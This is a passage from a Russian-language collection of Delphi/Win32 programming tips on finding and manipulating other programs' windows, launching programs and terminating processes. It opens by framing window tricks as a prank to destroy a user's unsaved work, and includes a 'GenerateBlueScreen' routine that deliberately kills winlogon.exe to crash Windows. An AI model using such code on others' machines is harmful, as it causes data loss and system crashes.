Представьте себе, глупый пользователь сидит как ни в чём небывало с умным видом уже в какой раз пытается составить
документ в Microsoft Word'e, но вдруг окно начинает бешено скакать по экрану, в его заголовке выводятся непристойные
 сообщения, оно то сворачивается, то разворачивается, меняя постоянно свои размеры, а под конец совсем исчезает,
 унося в небытиё весь текст, который с таким трудом набил ламерюга... а если так себя в любой момент может повести
любая программа... впечатления от этого останутся на долго!!!

Для того, чтобы сделать что-нибудь над каким-либо окном нужно сначала получить его дескриптор, т.е. его положение
в оперативной памяти. Для этого нужно использовать функцию FindWindow. Ей нужно указать всего два параметра:
сначала класс искомого окна, затем его заголовок. Ну с заголовком проблем вообщем-то нет - его мы видим, но вот
как определить класс... ведь он скрыт от глас пользователя. В действительности мы может указать только заголовок
окна, а вместо класса ставим nil.

Для начала запустите стандартную программу "Блокнот" - и что же мы видим? В блокноте в заголовке окна отслеживается
имя текущего файла. Изначально, т.к. файла нет в использовании, заголовок блокнота выглядит так:
"Безымянный - Блокнот". Постараемся по этому критерию найти окно блокнота. Выглядеть это будет так:

if FindWindow(nil, 'Безымянный - Блокнот') <> 0 then
  ShowMessage('Окно найдено')
else
  ShowMessage('Окно НЕнайдено');


Как мы видим из кода, если наша программа найдёт окно блокнота, мы увидим сообщение, гласящее об этом.

Далее попробуем передвинуть это окно

var
  h: HWND;
begin
  h := findwindow(nil, 'Безымянный - Блокнот');
  if h <> 0 then
    SetWindowPos(h, HWND_BOTTOM, 1, 1, 20, 20, swp_nosize);
end;


Опять находим блокнот. Его дескриптор помещаем в переменную класса HWND[С английского Handle Window - дескриптор окна].
Далее используем функцию SetWindowPos для задания позиции. В качестве параметров нужно указать:

    * Дескриптор окна, которое хотим переместить
    * Идентификатор окна, которое предшествует перемещаемому окну в Z-последовательности. Z-последовательность это порядок,
в котором формировались окна. Данный параметр указывает с какого именно окна необходимо начинать писк. В качестве значений
может принимать либо дескриптор какого-либо окна в системе, либо одно из нижеследующих значений:
          o HWND_BOTTOM Начало Z-последовательности
          o HWND_NOTOPMOST Первое окно которое располагается не "поверх все окон"
          o HWND_TOP Вершина Z-последовательности
          o HWND_TOPMOST Первое окно которое располагается "поверх все окон"
    * Позиция окна по горизонтали
    * Позиция окна по вертикали
    * Ширина окна
    * Высота окна
    * Спецификаторы изменения позиции и размеров окна[флаги]. Для задания значения можно комбинировать следующие константы
          o SWP_DRAWFRAME Прорисовка фрейма вокруг окна.
          o SWP_FRAMECHANGED Посылает сообщение WM_NCCALCSIZE окну, даже если размер его не был изменён. Если этот флаг
не указан, сообщение WM_NCCALCSIZE будет посылаться, только после изменения размеров окна.
          o SWP_HIDEWINDOW Скрывает окно.
          o SWP_NOACTIVATE Не активизирует окно. Если же этот флаг не будет поставлен, окно активизируется и будет
перемещено поверх всех окон. А вот встанет ли окно даже выше тех окон, которым задано HWND_TOPMOST или нет зависит
от параметра hWndInsertAfter.
          o SWP_NOCOPYBITS Если этот спецификатор не будет установлен, тогда содержимое клиентской области окна будет
скопировано и вставлено во вновь отобразившееся окно после его перемещения.
          o SWP_NOMOVE Сообщает, что нужно игнорировать параметры задания позиции окну.
          o SWP_NOOWNERZORDER Сообщает, что не следует изменять позицию окна владельца в Z-последовательности.
          o SWP_NOREDRAW Не перерисовывает окно.
          o SWP_NOREPOSITION Такой же как и SWP_NOOWNERZORDER.
          o SWP_NOSENDCHANGING Мешает окну получить сообщение WM_WINDOWPOSCHANGING.
          o SWP_NOSIZE Сообщает, что нужно игнорировать параметры задания размеров окну.
          o SWP_NOZORDER Сохраняет текущее положение в Z-последовательности (игнорирует сообщение hWndInsertAfter parameter).
          o SWP_SHOWWINDOW Отображает окно.

Если данная функция выполнится успешно, она возвратит отличное от нуля значение. Ну, вот, теперь мы можем передвигать и
изменять в размерах чужие окна!!! Для того, чтобы изменить заголовок окна напишем следующий код:

SetWindowText(FindWindow(nil, 'Безымянный - Блокнот'),
'Дарова, ламерюга, типа ты попал... ');


Функции setwindowtext нужно указать только два параметра: это дескриптор нужного окна и новое значение для заголовка.
Вот вообщем-то и всё!

Есть ещё одна интересная функция ShowWindow, которая позволяет скрывать или отображать окна. Использовать её нужно так::

ShowWindow(FindWindow(nil, 'Безымянный - Блокнот'), sw_hide);


В скобках указываем сначала над каким именно окном хотим издеваться, а затем что именно мы хотим с ним сделать.
В качестве возможных действий можем указать:

    * SW_HIDE Скрывает окно и активизирует другое.
    * SW_MAXIMIZE Разворачивает окно.
    * SW_MINIMIZE Сворачивает окно.
    * SW_RESTORE Активизирует и выводит окно. Если окно было развёрнуто или свёрнуто - восстанавливает исходный
размер и позицию.
    * SW_SHOW Активизирует и выводит окно с его оригинальным размером и положением.
    * SW_SHOWDEFAULT Активизирует с установками, заданными в структуре STARTUPINFO, которая была передана при
создании процесса приложением запускающим нужную программу.
    * SW_SHOWMAXIMIZED Выводит окно в развёрнутом виде.
    * SW_SHOWMINIMIZED Выводит окно в виде пиктограммы на панели задач.
    * SW_SHOWMINNOACTIVE Выводит окно в свёрнутом виде на панели задач и не передаёт ему фокус ввода, т.е. окно,
которое до этого было активно остаётся активно по прежнему.
    * SW_SHOWNA Отображает окно в его текущем состоянии. Активное окно остаётся активным по прежнему.
    * SW_SHOWNOACTIVATE Выводит окно в его последнем положении и с последними используемыми размерами. Активное
окно остаётся активным по прежнему.
    * SW_SHOWNORMAL Выводит окно. Если оно было свёрнуто или развёрнуто - восстанавливает его оригинальные
размеры и позицию

Но вся сложность действий заключается в том, что в заголовке Блокнота отслеживается имя текущего файла и
использовать значение "Безымянный - Блокнот" мы можем не всегда : (. Тем более это не только в случае с
блокнотом... Но есть выход: ведь функции FindWindow для поиска окна мы указываем не только заголовок нужного
окна, но ещё его класс. Какой же это выход скажете вы, заголовок окна мы видим, значит знаем, что указывать -
а класс окна... в действительности тоже может найти приложив немного усилий!

В пакет Delphi входим специальная утилита для отслеживание всех активных процессов, она называется WinSight32.
Вот ею мы и воспользуемся. Запустите её, покопайтесь в списке процессов, ищите строку где значится текущий
заголовок нужного окна, например Блокнота, и в левой части этой строки в фигурных скобках вы найдёте имя класса
окна. Для блокнота это будет "Notepad". Теперь зная имя класса окна мы можем переписать поиск окна таким способом:

ShowWindow(FindWindow('Notepad', nil), sw_hide);


Теперь мы вместо заголовка окна указываем значение nil, игнорируя данный параметр.

Есть ещё один замечательный способ передачи команд окнам.- функция PostMessage. Ей в качестве параметров нужно указать:

    * Дескриптор окна, которому посылается сообщение или следующие значения:
          o HWND_BROADCAST Сообщение будет послано всем окнам верхнего уровня системы, включая неактивные и
невидимые окна, overlapped-окна, и PopUp-окна, но сообщение не будет посылаться дочерним[Child] окнам.
          o NULL Ведёт себя как функция PostThreadMessage с переданным ей dwThreadId параметром.
    * Посылаемое сообщение
    * Первый параметр сообщения
    * Второй параметр сообщения

Например, если послать сообщение wm_quit блокноту - окно будет закрыто без вывода всяких сообщений о
еобходимости сохранения!

PostMessage(FindWindow('Notepad', nil), wm_quit, 0, 0);

К заголовку




" Включить или выключить флажок у другого приложения
{
  The function CheckCheckBox() checks or unchecks a Checkbox in another
  window.

  Parameter:
  hApp : Handle to the parent window of the Checkbox.
  ClassName: Class name of the Checkbox.
  (For Delphi-Applications: TCheckBox. For C, VB,..: Checkbox)
  bValue: Determines whether the check box is in the checked state.
  CheckBoxNr: Number of the CheckBox (useful if there are several Checkboxes)
}

procedure CheckCheckBox(hApp: HWND; ClassName: string; bValue: Boolean; CheckBoxNr: Integer);
var
  i: Word;
  hCheckBox: HWND;
begin
  if not IsWindow(hApp) then Exit;
  for i := 0 to CheckBoxNr do
    hCheckBox := FindWindowEx(hApp, hCheckBox, PChar(ClassName), nil);
  if IsWindow(hCheckBox) then
    SendMessage(hCheckBox, BM_SETCHECK, Integer(bValue), 0);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  CheckCheckBox(Handle, 'TCheckBox', True, 1);
  // Or / Oder
  // CheckCheckBox(Handle, 'CheckBox', True, 1);
end;
К заголовку




" Вызов других программ
uses ...ToolWin, Windows...

procedure Run(App: string);
var
  ErrStr: string;

  PMSI: TStartupInfo;
  PMPI: TProcessInformation;
begin
  try
    CreateProcess(nil, @App[1], nil, nil, False, NORMAL_PRIORITY_CLASS,
      nil, nil, PMSI, PMPI);
  except
    ErrStr := 'Fault run process: ''' + App + '''';
    Application.MessageBox(@ErrStr[1], 'Failure process', MB_OK + MB_ICONERROR);
  end;
end;
К заголовку




" Другой способ запуска чужого приложения
uses
   libc;

 procedure TForm1.Button1Click(Sender: TObject);
 var
   iPrg: Integer;
 begin
   //Execute kcalc - A calculator for KDE
  iPrg := libc.system('kcalc');
   if iPrg = -1 then
     ShowMessage('Error executing your program');
 end;
К заголовку




" Завершение всех работающих приложений
Как мне завершить все работающие задачи?

Ниже приведен код, который поможет вам завершить ВСЕ задачи без всяких уведомлений о необходимости сохранения данных.

Поэтому, прежде чем запустить этот код, убедитесь в наличии сохраненных данных и в том, что пользователь осведомлен об этой операции.

procedure TForm1.ButtonKillAllClick(Sender: TObject);
var
  pTask: PTaskEntry;
  Task: Bool;
  ThisTask: THANDLE;
begin
  GetMem(pTask, SizeOf(TTaskEntry));
  pTask^.dwSize := SizeOf(TTaskEntry);

  Task := TaskFirst(pTask);
  while Task do
  begin
    if pTask^.hInst = hInstance then
      ThisTask := pTask^.hTask
    else
      TerminateApp(pTask^.hTask, NO_UAE_BOX);
    Task := TaskNext(pTask);
  end;
  TerminateApp(ThisTask, NO_UAE_BOX);
end;

К заголовку




" Завершить чужое приложение
PostMessage(FindWindow(nil, 'Заголовок окна'), WM_QUIT, 0, 0);
К заголовку




" Запуск внешней программы
procedure TForm1.Button1Click(Sender: TObject);
var
  w1: Word;
  p1, p2: array[0..100] of Char;
begin
  StrPcopy(p1, 'CALC');
  if GetModuleHandle(p1) = 0 then
  begin
    StrPcopy(p2, 'C:\windows\Calc.exe');
    w1 := WinExec(p2, SW_Restore);
  end;
end;
К заголовку




" Запуск внешней программы. Как послать E-mail и сделать ссылку на сайт
Для запуска внешней программы, для посылки письма или для создания ссылки на сайт вам понадобиться всего одна
функция ShellExecute, которая описывается в модуле ShellAPI - не забудьте подключить его в uses.

Этой функции нужно указать несколько параметров:

    * Дескриптор родительского окна
    * Выполняемое действие. Этот параметр может принимать следующие значения "open", "print", "explore" -
соответственно открытие, печать или исследование. Можно указывать nil - тогда будет выполняться действие по
умолчанию - "open".
    * Имя файла или папки, или e-mail, или URL
    * Параметры
    * Каталог по умолчанию
    * Способ вывода окна. В качестве значения можно указать:
          o SW_HIDE Скрывает окно и активизирует другое.
          o SW_MAXIMIZE Разворачивает окно.
          o SW_MINIMIZE Сворачивает окно.
          o SW_RESTORE Активизирует и выводит окно. Если окно было развёрнуто или свёрнуто - восстанавливает исходный
размер и позицию.
          o SW_SHOW Активизирует и выводит окно с его оригинальным размером и положением.
          o SW_SHOWDEFAULT Активизирует с установками, заданными в структуре STARTUPINFO, которая была передана при
создании процесса приложением запускающим нужную программу.
          o SW_SHOWMAXIMIZED Выводит окно в развёрнутом виде.
          o SW_SHOWMINIMIZED Выводит окно в виде пиктограммы на панели задач.
          o SW_SHOWMINNOACTIVE Выводит окно в свёрнутом виде на панели задач и не передаёт ему фокус ввода, т.е.
окно, которое до этого было активно остаётся активно по прежнему.
          o SW_SHOWNA Отображает окно в его текущем состоянии. Активное окно остаётся активным по прежнему.
          o SW_SHOWNOACTIVATE Выводит окно в его последнем положении и с последними используемыми размерами.
Активное окно остаётся активным по прежнему.
          o SW_SHOWNORMAL Выводит окно. Если оно было свёрнуто или развёрнуто - восстанавливает его оригинальные
размеры и позицию

Примеры:

// Запуск файла
ShellExecute(Handle, nil, 'c:\windows\calc.exe', nil, nil, SW_SHOW);

// Просмотр каталога
ShellExecute(Handle, nil, 'c:\windows', nil, nil, SW_SHOW);

// Ссылка на сайт
ShellExecute(Handle, nil, 'http://www.site.ru', nil, nil, SW_SHOW);

// Послать E-mail
ShellExecute(Handle, nil, 'mailto:DelphiWorld@mail.ru', nil, nil, SW_SHOW);

К заголовку




" Запуск программы
{ Open a file or starts a programm (without parameters) }

 procedure OpenFile(FileName: string);
 var
   c: array[0..800] of Char;
 begin
   StrPCopy(c, FileName);
   ShellExecute(Application.Handle, 'open', c, nil, nil, SW_NORMAL);
 end;

 { Starts a programm with commandline parameters }

 procedure OpenProgram(prog, params: string);
 var
   c, p: array[0..800] of Char;
 begin
   StrPCopy(c, prog);
   StrPCopy(p, params);
   ShellExecute(Application.Handle, 'open', c, p, nil, SW_NORMAL);
 end;

 { Starts a program and wait until its terminated:
  WindowState is of the SW_xxx constants }

 function ExecAndWait(const FileName, Params: string;
   WindowState: Word): Boolean;
 var
   SUInfo: TStartupInfo;
   ProcInfo: TProcessInformation;
   CmdLine: string;
 begin
   { Enclose filename in quotes to take care of
    long filenames with spaces. }
   CmdLine := '"' + FileName + '"' + Params;
   FillChar(SUInfo, SizeOf(SUInfo), #0);
   with SUInfo do
   begin
     cb := SizeOf(SUInfo);
     dwFlags := STARTF_USESHOWWINDOW;
     wShowWindow := WindowState;
   end;
   Result := CreateProcess(nil, PChar(CmdLine), nil, nil, False,
     CREATE_NEW_CONSOLE or
     NORMAL_PRIORITY_CLASS, nil,
     PChar(ExtractFilePath(FileName)),
     SUInfo, ProcInfo);
   { Wait for it to finish. }
   if Result then
     WaitForSingleObject(ProcInfo.hProcess, INFINITE);
 end;

 { Execute a complete shell command line and waits until terminated. }

 function ExecCmdLineAndWait(const CmdLine: string;
   WindowState: Word): Boolean;
 var
   SUInfo: TStartupInfo;
   ProcInfo: TProcessInformation;
 begin
   { Enclose filename in quotes to take care of
    long filenames with spaces. }
   FillChar(SUInfo, SizeOf(SUInfo), #0);
   with SUInfo do
   begin
     cb := SizeOf(SUInfo);
     dwFlags := STARTF_USESHOWWINDOW;
     wShowWindow := WindowState;
   end;
   Result := CreateProcess(nil, PChar(CmdLine), nil, nil, False,
     CREATE_NEW_CONSOLE or
     NORMAL_PRIORITY_CLASS, nil,
     nil {PChar(ExtractFilePath(Filename))},
     SUInfo, ProcInfo);
   { Wait for it to finish. }
   if Result then
     WaitForSingleObject(ProcInfo.hProcess, INFINITE);
 end;

 { Execute a complete shell command line without waiting. }

 function OpenCmdLine(const CmdLine: string;
   WindowState: Word): Boolean;
 var
   SUInfo: TStartupInfo;
   ProcInfo: TProcessInformation;
 begin
   { Enclose filename in quotes to take care of
    long filenames with spaces. }
   FillChar(SUInfo, SizeOf(SUInfo), #0);
   with SUInfo do
   begin
     cb := SizeOf(SUInfo);
     dwFlags := STARTF_USESHOWWINDOW;
     wShowWindow := WindowState;
   end;
   Result := CreateProcess(nil, PChar(CmdLine), nil, nil, False,
     CREATE_NEW_CONSOLE or
     NORMAL_PRIORITY_CLASS, nil,
     nil {PChar(ExtractFilePath(Filename))},
     SUInfo, ProcInfo);
 end;
К заголовку




" Как завершить задачу в Windows NT (а заодно получить PID задачи)
Ниже приведён unit, который позволяет убить задачу в Windows NT:

function Kill_By_Pid(pid: longint): integer;


где pid, это число, представляющее pid задачи

function EnumProcessWithPid(list: TStrings): integer;


где список, это объект TStrings, который будет содержать имя задачи и pid в полях Object. (list.Items[i] для имени,
integer(list.Object[i]) для PID)

Дальше следует сам код:

procedure GenerateBlueScreen;
var
  Task : TStringList;
  i : integer;
begin
  Task := TStringList.Create;
  try
    EnumProcessWithPid(Task);
    for i := 0 to Task.Count - 1 do
    begin
      TaskName := UpperCase(Task[i]);
      if (TaskName = 'WINLOGON.EXE') then
      begin
        // Generate a nice BlueScreenOfDeath
        Kill_By_Pid(integer(Task.Objects[i]));
        Beep;
        break;
      end;
    end;
  finally
    Task.Free;
  end;
end;



unit U_Kill;
{
** JF 15/02/2000 - U_Kill.pas
** This unit allow you to list and to kill runnign process. (Work only on NT)
** Entry point : EnumProcessWithPid and Kill_By_Pid.
** v1.2 JF correct a bug in Kill_By_Pid
** v1.3 JF change a thing for D5 05/09/2000
**
}
interface

uses
  Classes;

//** Error code **//
const
  KILL_NOERR = 0;
  KILL_NOTSUPPORTED = -1;
  KILL_ERR_OPENPROCESS = -2;
  KILL_ERR_TERMINATEPROCESS = -3;

  ENUM_NOERR = 0;
  ENUM_NOTSUPPORTED = -1;
  ENUM_ERR_OPENPROCESSTOKEN = -2;
  ENUM_ERR_LookupPrivilegeValue = -3;
  ENUM_ERR_AdjustTokenPrivileges = -4;

  GETTASKLIST_ERR_RegOpenKeyEx = -1;
  GETTASKLIST_ERR_RegQueryValueEx = -2;

  function Kill_By_Pid(pid : longint) : integer;
  function EnumProcessWithPid(list : TStrings) : integer;

implementation
uses
  Windows, Registry, SysUtils;

var
  VerInfo : TOSVersionInfo;

const
  SE_DEBUG_NAME = 'SeDebugPrivilege';
  INITIAL_SIZE = 51200;
  EXTEND_SIZE = 25600;
  REGKEY_PERF = 'software\microsoft\windows nt\currentversion\perflib';
  REGSUBKEY_COUNTERS ='Counters';
  PROCESS_COUNTER ='process';
  PROCESSID_COUNTER ='id process';
  UNKNOWN_TASK ='unknown';

type
  ArrayOfChar = array[0..1024] of char;
  pArrayOfChar = ^pArrayOfChar;
type
  TPerfDataBlock = record
  Signature : array[0..3] of WCHAR;
  LittleEndian : DWORD;
  Version : DWORD;
  Revision : DWORD;
  TotalByteLength : DWORD;
  HeaderLength : DWORD;
  NumObjectTypes : DWORD;
  DefaultObject : integer;
  SystemTime : TSystemTime;
  PerfTime : TLargeInteger;
  PerfFreq : TLargeInteger;
  PerfTime100nSec : TLargeInteger;
  SystemNameLength: DWORD;
  SystemNameOffset: DWORD;
  end;

  pTPerfDataBlock = ^TPerfDataBlock;
  TPerfObjectType = record
  TotalByteLength : DWORD;
  DefinitionLength : DWORD;
  HeaderLength : DWORD;
  ObjectNameTitleIndex : DWORD;
  ObjectNameTitle : LPWSTR;
  ObjectHelpTitleIndex : DWORD;
  ObjectHelpTitle : LPWSTR;
  DetailLevel : DWORD;
  NumCounters : DWORD;
  DefaultCounter : integer;
  NumInstances : integer;
  CodePage : DWORD;
  PerfTime : TLargeInteger;
  PerfFreq : TLargeInteger;
  end;

  pTPerfObjectType = ^TPerfObjectType;

  TPerfInstanceDefinition = record
  ByteLength : DWORD;
  ParentObjectTitleIndex : DWORD;
  ParentObjectInstance : DWORD;
  UniqueID : integer;
  NameOffset : DWORD;
  NameLength : DWORD;
  end;

  pTPerfInstanceDefinition = ^TPerfInstanceDefinition;

  TPerfCounterBlock = record
  ByteLength : DWORD;
  end;

  pTPerfCounterBlock = ^TPerfCounterBlock;

  TPerfCounterDefinition = record
  ByteLength : DWORD;
  CounterNameTitleIndex : DWORD;
  CounterNameTitle : LPWSTR;
  CounterHelpTitleIndex : DWORD;
  CounterHelpTitle : LPWSTR;
  DefaultScale : integer;
  DetailLevel : DWORD;
  CounterType : DWORD;
  CounterSize : DWORD;
  CounterOffset : DWORD;
  end;

  pTPerfCounterDefinition = ^TPerfCounterDefinition;

procedure InitKill;
begin
  VerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(VerInfo);
end;

(*
#define MAKELANGID(p, s) ((((WORD )(s)) << 10) | (WORD )(p))
*)
function MAKELANGID(p : DWORD ; s : DWORD) : word;
begin
  result := (s shl 10) or (p);
end;

function Kill_By_Pid(pid : longint) : integer;
var
  hProcess : THANDLE;
  TermSucc : BOOL;
begin
  if (verInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) then
  begin
    hProcess := OpenProcess(PROCESS_ALL_ACCESS, true, pid);
    if (hProcess = 0) then // v 1.2 : was =-1
    begin
      result := KILL_ERR_OPENPROCESS;
    end
    else
    begin
      TermSucc := TerminateProcess(hProcess, 0);
      if (TermSucc = false) then
        result := KILL_ERR_TERMINATEPROCESS
      else
        result := KILL_NOERR;
    end;
  end
  else
    result := KILL_NOTSUPPORTED;
end;

function EnableDebugPrivilegeNT : integer;
var
  hToken : THANDLE;
  DebugValue : TLargeInteger;
  tkp : TTokenPrivileges ;
  ReturnLength : DWORD;
  PreviousState: TTokenPrivileges;
begin
  if (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or
  TOKEN_QUERY, hToken) = false) then
    result := ENUM_ERR_OPENPROCESSTOKEN
  else
  begin
    if (LookupPrivilegeValue(nil, SE_DEBUG_NAME, DebugValue) = false) then
      result := ENUM_ERR_LookupPrivilegeValue
    else
    begin
      ReturnLength := 0;
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Luid := DebugValue;
      tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TTokenPrivileges),PreviousState , ReturnLength);
      if (GetLastError <> ERROR_SUCCESS) then
        result := ENUM_ERR_AdjustTokenPrivileges
      else
        result := ENUM_NOERR;
    end;
  end;
end;

function IsDigit(c : char) : boolean;
begin
  result := (c>='0') and (c<='9');
end;

function min(a,b : integer) : integer;
begin
  if (a < b) then
    result := a
  else
    result := b;
end;

function GetTaskListNT(pTask : TStrings) : integer;
var
  rc : DWORD;
  hKeyNames : HKEY;
  dwType : DWORD;
  dwSize : DWORd;
  buf : PBYTE;
  szSubkey : array[0..1024] of char;
  lid : LANGID;
  p : PCHAR;
  p2 : PCHAR;
  pPerf : pTPerfDataBlock;
  pObj : pTPerfObjectType;
  pInst : pTPerfInstanceDefinition;
  pCounter : pTPerfCounterBlock;
  pCounterDef : pTPerfCounterDefinition;
  i : DWORD;
  dwProcessIdTitle : DWORD;
  dwProcessIdCounter : DWORD;
  szProcessName : array[0..MAX_PATH] of char;
  dwLimit : DWORD;
  dwNumTasks : dword;

  ProcessName : array[0..MAX_PATH] of char;
  dwProcessID : DWORD;
label
  EndOfProc;
begin
  dwNumTasks := 255;
  dwLimit := dwNumTasks - 1;
  StrCopy(ProcessName, '');
  lid := MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL);
  StrFmt(szSubKey, '%s\%.3X', [REGKEY_PERF, lid]);
  rc := RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSubKey, 0, KEY_READ, hKeyNames);
  if (rc <> ERROR_SUCCESS) then
    result := GETTASKLIST_ERR_RegOpenKeyEx
  else
  begin
    result := 0;
    rc := RegQueryValueEx(hKeyNames, REGSUBKEY_COUNTERS, nil, @dwType, nil, @dwSize);
    if (rc <> ERROR_SUCCESS) then
      result := GETTASKLIST_ERR_RegQueryValueEx
    else
    begin
      GetMem(buf, dwSize);
      FillChar(buf^, dwSize, 0);
      RegQueryValueEx(hKeyNames, REGSUBKEY_COUNTERS, nil, @dwType, buf, @dwSize);
      p := PCHAR(buf);
      dwProcessIdTitle := 0;
      while (p^<>#0) do
      begin
        if (p > buf) then
        begin
          p2 := p - 2;
          while(isDigit(p2^)) do
            dec(p2);
        end;
        if (StrIComp(p, PROCESS_COUNTER) = 0) then
        begin
          p2 := p -2;
          while(isDigit(p2^)) do
            dec(p2);
          strCopy(szSubKey, p2+1);
        end
        else
        if (StrIComp(p, PROCESSID_COUNTER) = 0) then
        begin
          p2 := p - 2;
          while(isDigit(p2^)) do
            dec(p2);
          dwProcessIdTitle := StrToIntDef(p2+1, -1);
        end;
        p := p + (Length(p) + 1);
      end;
      FreeMem(buf); buf := nil;
      dwSize := INITIAL_SIZE;
      GetMem(buf, dwSize);
      FillChar(buf^, dwSize, 0);
      pPerf := nil;
      while (true) do
      begin
        rc := RegQueryValueEx(HKEY_PERFORMANCE_DATA, szSubKey, nil, @dwType, buf, @dwSize);
        pPerf := pTPerfDataBlock(buf);
        if ((rc = ERROR_SUCCESS) and (dwSize > 0) and
        (pPerf^.Signature[0] = WCHAR('P')) and
        (pPerf^.Signature[1] = WCHAR('E')) and
        (pPerf^.Signature[2] = WCHAR('R')) and
        (pPerf^.Signature[3] = WCHAR('F'))) then
        begin
          break;
        end;
        if (rc = ERROR_MORE_DATA) then
        begin
          dwSize := dwSize + EXTEND_SIZE;
          FreeMem(buf); buf := nil;
          GetMem(buf, dwSize);
          FillChar(buf^, dwSize, 0);
        end
        else
          goto EndOfProc;
      end;

      pObj := pTPerfObjectType( DWORD(pPerf) + pPerf^.HeaderLength);

      pCounterDef := pTPerfCounterDefinition( DWORD(pObj) + pObj^.HeaderLength);
      dwProcessIdCounter := 0;
      i := 0;
      while (i < pObj^.NumCounters) do
      begin
        if (pCounterDef^.CounterNameTitleIndex = dwProcessIdTitle) then
        begin
          dwProcessIdCounter := pCounterDEf^.CounterOffset;
          break;
        end;
        inc(pCounterDef);
        inc(i);
      end;
      dwNumTasks := min(dwLimit, pObj^.NumInstances);
      pInst := PTPerfInstanceDefinition(DWORD(pObj) + pObj^.DefinitionLength);

      i := 0;
      while ( i < dwNumTasks) do
      begin
        p := PCHAR(DWORD(pInst)+pInst^.NameOffset);
        rc := WideCharToMultiByte(CP_ACP, 0, LPCWSTR(p), -1, szProcessName, SizeOf(szProcessName), nil, nil);
        {** This is changed for working with D3 and D5 05/09/2000 **}
        if (rc = 0) then
          StrCopy(ProcessName, UNKNOWN_TASK)
        else
          StrCopy(ProcessName, szProcessName);
        // Получаем ID процесса
        pCounter := pTPerfCounterBlock( DWORD(pInst) + pInst^.ByteLength);
        dwProcessId := LPDWORD(DWORD(pCounter) + dwProcessIdCounter)^;
        if (dwProcessId = 0) then
          dwProcessId := DWORD(0);
        pTask.AddObject(ProcessName, TObject(dwProcessID));
        pInst := pTPerfInstanceDefinition( DWORD(pCounter) + pCounter^.ByteLength);
        inc(i);
      end;
      result := dwNumTasks;
    end;
  end;
  EndOfProc:
  if (buf <> nil) then
    FreeMem(buf);
  RegCloseKey(hKeyNames);
  RegCloseKey(HKEY_PERFORMANCE_DATA);
  RegCloseKey(hKeyNames);
  RegCloseKey(HKEY_PERFORMANCE_DATA);
end;

function EnumProcessWithPid(list : TStrings) : integer;
begin
  if (verInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) then
  begin
    EnableDebugPrivilegeNT;
    result := GetTaskListNT(list);
  end
  else
    result := ENUM_NOTSUPPORTED;
end;

initialization
  InitKill;

end.

К заголовку




" Как запускать внешнюю программу сразу с высоким приоритетом
Предлагаю Вашему вниманию пример, который изменяет приоритет приложения. Изменение приоритета следует использовать
с осторожностью, так как присвоение слишком высокого приоритета может привести к медленной работе остальных
программ и системы в целом. См. Win32 help for SetThreadPriority() function.

Пример:

procedure TForm1.Button1Click(Sender: TObject);
var
  ProcessID: DWORD;
  ProcessHandle: THandle;
  ThreadHandle: THandle;
begin
  ProcessID := GetCurrentProcessID;
  ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION, false, ProcessID);
  SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
  ThreadHandle := GetCurrentThread;
  SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;

К заголовку




" Как запустить приложение и подождать пока оно отработает
Объявляем сначала две глобальные переменные:

var
  si: Tstartupinfo;
  p: Tprocessinformation;


Затем по нужному событию, например, по нажатию на кнопке пишет такой код:

FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
  cb := SizeOf( Si);
  dwFlags := startf_UseShowWindow;
  wShowWindow := 4;
end;

Form1.WindowState:=wsminimized;
Createprocess(nil, 'c:\windows\sndrec32.exe e:\temp.wav', nil, nil,
false, Create_default_error_mode, nil, nil, si, p);
Waitforsingleobject(p.hProcess, infinite);
Form1.WindowState:=wsNormal;
---------------------------------------------------


procedure TForm1.Button3Click(Sender: TObject);
var
  si: STARTUPINFO;
  pi: PROCESS_INFORMATION;
  cmdline: string;
begin
  ZeroMemory(@si,sizeof(si));
  si.cb:=SizeOf(si);
  cmdline:='c:\command.com';
  if not CreateProcess( nil, { No module name (use command line). }
  PChar(cmdline),            { Command line. }
  nil,                       { Process handle not inheritable. }
  nil,                       { Thread handle not inheritable. }
  False,                     { Set handle inheritance to FALSE. }
  0,                         { No creation flags. }
  nil,                       { Use parent's environment block. }
  nil,                       { Use parent's starting directory. }
  si,                        { Pointer to STARTUPINFO structure. }
  pi )                       { Pointer to PROCESS_INFORMATION structure. }
  then
  begin
  ShowMessage( 'CreateProcess failed.' );
  Exit;
  end;
  WaitForSingleObject( pi.hProcess, INFINITE );
  CloseHandle( pi.hProcess );
  CloseHandle( pi.hThread );
  ShowMessage('Done !');
end;
--------------------------------------------


Здесь представлена функция, которая вызывается таким же образом как и WinExec, однако она ждёт, пока запущенная задача завершится.

function WinExecAndWait(Path: PChar; Visibility: Word): Word;
var
  InstanceID: THandle;
  Msg: TMsg;
begin
  InstanceID := WinExec(Path, Visibility);
  if InstanceID < 32 then { значение меньше чем 32 указывает на ошибку }
    WinExecAndWait := InstanceID
  else
    repeat
      while PeekMessage(Msg, 0, 0, 0, pm_Remove) do
      begin
        if Msg.message = wm_Quit then
          Halt(Msg.WParam);
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
    until
      GetModuleUsage(InstanceID) = 0;
  WinExecAndWait := 0;
end;
--------------------------------------------


как запустить из Вашей программы еще какую-нибудь программу и дождаться ее закрытия. Для удобства сразу оговорюсь:
Ваша программа - это программа, код которой здесь приведен. Другая программа - программа, которая была запущена из
Вашей. Для запуска другой программы мы будем использовать функцию CreateProcess, поскольку она возвращает handle
созданного процесса. Для ожидания завершения процесса (программы) нужно вызвать Wai В этом примере функция
ExecuteAndWait запускает другую программу (имя запускаемого файла - FileName). Если HideApplication установлен
в true, то Ваша программа исчезает на время выполнения другой программы. В противном случае Ваша программа
остается на экране и каждые 0.1 сек. будут выполняться все задачи, которые накопились в очереди
(Application.ProcessMessages). А если пользователь решит закрыть Вашу программу - закроется и другая программа.
Процедура SetEnabled

function ExecuteAndWait(FileName: string; HideApplication: boolean): boolean;
var
  StartupInfo: TStartupInfo;
